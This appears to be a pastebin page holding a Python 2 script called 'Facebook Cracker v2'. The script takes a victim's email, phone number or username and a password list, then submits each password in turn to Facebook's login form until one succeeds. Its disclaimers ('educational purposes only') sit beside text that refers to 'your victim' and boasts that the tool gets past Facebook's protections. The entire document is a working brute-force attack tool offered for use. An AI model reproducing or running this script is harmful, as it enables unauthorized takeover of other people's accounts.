hack facebook account Script


SUBMITTED BY: Guest

DATE: April 25, 2014, 5:42 p.m.

FORMAT: Python

SIZE: 3.7 kB

HITS: 36961

  1. Text#!usr/bin/python
  2. #Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
  3. #This program is for educational purposes only.
  4. #Don't attack people facebook accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6. #Mauritania Attacker is not responsible.
  7. import sys
  8. import random
  9. import mechanize
  10. import cookielib
  11. GHT = '''
  12. +=======================================+
  13. |..........Facebook Cracker v 2.........|
  14. +---------------------------------------+
  15. |#Author: Mauritania Attacker |
  16. |#Contact: http://www.fb.com/mauritanie.forever|
  17. |#Date: 02/04/2013 |
  18. |#This tool is made for pentesting. |
  19. |#Changing the Description of this tool |
  20. |Won't made you the coder ^_^ !!! |
  21. |#Respect Coderz ^_^ |
  22. |#I take no responsibilities for the |
  23. | use of this program ! |
  24. +=======================================+
  25. |..........Facebook Cracker v 2.........|
  26. +---------------------------------------+
  27. '''
  28. print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
  29. print "# Hit CTRL+C to quit the program"
  30. print "# Use http://www.graph.facebook.com for more infos about your victim ^_^"
  31. email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
  32. passwordlist = str(raw_input("Enter the name of the password list file : "))
  33. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  34. login = 'https://www.facebook.com/login.php?login_attempt=1'
  35. def attack(password):
  36. try:
  37. sys.stdout.write("\r[*] trying %s.. " % password)
  38. sys.stdout.flush()
  39. br.addheaders = [('User-agent', random.choice(useragents))]
  40. site = br.open(login)
  41. br.select_form(nr=0)
  42. ##Facebook
  43. br.form['email'] =email
  44. br.form['pass'] = password
  45. br.submit()
  46. log = br.geturl()
  47. if log != login:
  48. print "\n\n\n [*] Password found .. !!"
  49. print "\n [*] Password : %s\n" % (password)
  50. sys.exit(1)
  51. except KeyboardInterrupt:
  52. print "\n[*] Exiting program .. "
  53. sys.exit(1)
  54. def search():
  55. global password
  56. for password in passwords:
  57. attack(password.replace("\n",""))
  58. def check():
  59. global br
  60. global passwords
  61. try:
  62. br = mechanize.Browser()
  63. cj = cookielib.LWPCookieJar()
  64. br.set_handle_robots(False)
  65. br.set_handle_equiv(True)
  66. br.set_handle_referer(True)
  67. br.set_handle_redirect(True)
  68. br.set_cookiejar(cj)
  69. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  70. except KeyboardInterrupt:
  71. print "\n[*] Exiting program ..\n"
  72. sys.exit(1)
  73. try:
  74. list = open(passwordlist, "r")
  75. passwords = list.readlines()
  76. k = 0
  77. while k < len(passwords):
  78. passwords[k] = passwords[k].strip()
  79. k += 1
  80. except IOError:
  81. print "\n [*] Error: check your password list path \n"
  82. sys.exit(1)
  83. except KeyboardInterrupt:
  84. print "\n [*] Exiting program ..\n"
  85. sys.exit(1)
  86. try:
  87. print GHT
  88. print " [*] Account to crack : %s" % (email)
  89. print " [*] Loaded :" , len(passwords), "passwords"
  90. print " [*] Cracking, please wait ..."
  91. except KeyboardInterrupt:
  92. print "\n [*] Exiting program ..\n"
  93. sys.exit(1)
  94. try:
  95. search()
  96. attack(password)
  97. except KeyboardInterrupt:
  98. print "\n [*] Exiting program ..\n"
  99. sys.exit(1)
  100. if __name__ == '__main__':
  101. check()

comments powered by Disqus